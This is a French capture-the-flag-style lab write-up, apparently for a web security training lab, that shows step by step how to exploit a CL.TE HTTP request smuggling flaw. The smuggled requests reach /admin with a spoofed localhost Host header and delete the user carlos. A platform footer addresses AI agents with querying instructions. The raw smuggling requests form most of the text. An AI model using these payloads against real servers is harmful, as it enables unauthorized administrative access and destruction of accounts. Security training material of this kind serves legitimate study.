> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/request-smuggling/front-end-security-bypass-via-cl-te.md).

# Contournement de la sécurité front-end via CL.TE

### Exploitation de la dissimulation de requêtes HTTP pour contourner les contrôles de sécurité du front-end, vulnérabilité CL.TE

Le labo utilise un **front-end** serveur et un **back-end**. / Le front-end **ne prend pas en charge l'encodage chunked**, tandis que le back-end l'accepte. / L'accès au panneau d'administration situé à **/admin** est bloqué par le front-end.

L'objectif est de **dissimuler une requête** au back-end, permettant l'accès au panneau d'administration, puis **supprimer l'utilisateur carlos**.

<figure><img src="/files/c2e8b72535456bd076e342739f3b7b7d3410d92d" alt=""><figcaption></figcaption></figure>

#### **1. Vérification de la vulnérabilité CL.TE**

Le front-end interprète Content-Length, tandis que le back-end utilise Transfer-Encoding.

Charge utile CL.TE de base :

```http
POST / HTTP/1.1
Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net
Content-Length: 5
Transfer-Encoding: chunked

0


```

Cela renvoie un **200**, ce qui confirme que le back-end prend `Transfer-Encoding` en compte.

<figure><img src="/files/bd342c35ed6172b37733f5763132f5de6a3ea81f" alt=""><figcaption></figcaption></figure>

#### **2. Injection d'une requête dissimulée**

Lorsqu'une requête est ensuite enchaînée, le back-end lit la requête dissimulée :

```http
Content-Length: 33
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Test : A
```

Le back-end répond que **seuls les utilisateurs locaux** peuvent accéder à /admin.

<figure><img src="/files/9d1af788d39804ed2365ec7a554313756112c084" alt=""><figcaption></figcaption></figure>

#### **3. Usurpation de l'en-tête Host pour paraître local**

Pour contourner la restriction, le back-end doit croire que la requête provient de localhost.

Première tentative :

```http
POST / HTTP/1.1
Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net
Content-Length: 41
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost
```

Mais le serveur renvoie :

```json
{
 "error":"Les noms d'en-tête en double ne sont pas autorisés"
}
```

Le back-end n'interprète donc pas cette requête comme une nouvelle requête complète.

### **4. Construction d'une requête dissimulée correcte**

Un `Content-Length` est ajoutée à la requête dissimulée, afin qu'elle soit traitée correctement :

```http
POST / HTTP/1.1
Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net
Content-Length: 73
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: 127.0.0.1
Content-Length: 9

test=test
```

Pour que le back-end lise correctement la requête, nous ajustons la taille :

```http
Content-Length: 10
```

La requête complète envoyée au front-end devient :

```http
POST / HTTP/1.1
Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net
Content-Length: 73
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

test=test
```

<figure><img src="/files/7c3d3fa67fda244f74492ba24d4539c7d18c66d8" alt=""><figcaption></figcaption></figure>

#### **5. Suppression de l'utilisateur Carlos**

Il suffit maintenant de remplacer la ligne GET par l'appel de suppression :

```http
Content-Length: 97
Transfer-Encoding: chunked

0

GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 10

test=test
```

<figure><img src="/files/40e3d3d885b9d9affb8cf01e702028d5a111fc2e" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/request-smuggling/front-end-security-bypass-via-cl-te.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
